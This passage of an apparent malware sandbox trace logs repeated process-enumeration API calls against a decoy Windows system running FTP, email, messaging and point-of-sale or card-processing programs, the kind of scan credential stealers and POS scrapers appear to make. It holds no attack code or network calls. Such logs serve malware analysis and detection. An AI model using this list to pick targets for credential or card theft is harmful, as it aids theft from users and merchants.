pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0108.579] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0108.621] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0108.624] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0108.626] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0108.629] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0108.632] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0108.634] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0108.636] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0108.639] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0108.641] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0108.644] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0108.646] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0108.648] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0108.650] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0108.653] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0108.655] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0108.657] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0108.689] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0108.692] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0108.694] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0108.697] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0108.699] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0108.701] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0108.703] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0108.706] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0108.708] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0108.711] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0108.713] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0108.715] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0108.717] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0108.719] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0108.721] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0108.728] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0108.733] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0108.739] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0108.740] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0108.742] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0108.744] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0108.746] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0108.747] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0108.749] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0108.751] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0108.752] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0108.754] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0108.755] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.757] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.759] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0108.760] CloseHandle (hObject=0x1970) returned 1 [0108.760] Sleep (dwMilliseconds=0x64) [0108.866] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1970 [0108.891] Process32First (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.892] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.894] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.897] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.899] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.900] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.902] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.904] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.905] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.907] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.908] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.913] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.915] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.916] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.918] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.920] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.921] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.923] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.924] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.926] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.928] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.929] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.931] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.932] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.934] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.935] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.937] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.938] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.940] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.941] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.943] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0108.945] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.946] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0108.947] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0108.949] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0108.950] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0108.951] Process32Next (in: hSnapshot=0x1970, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 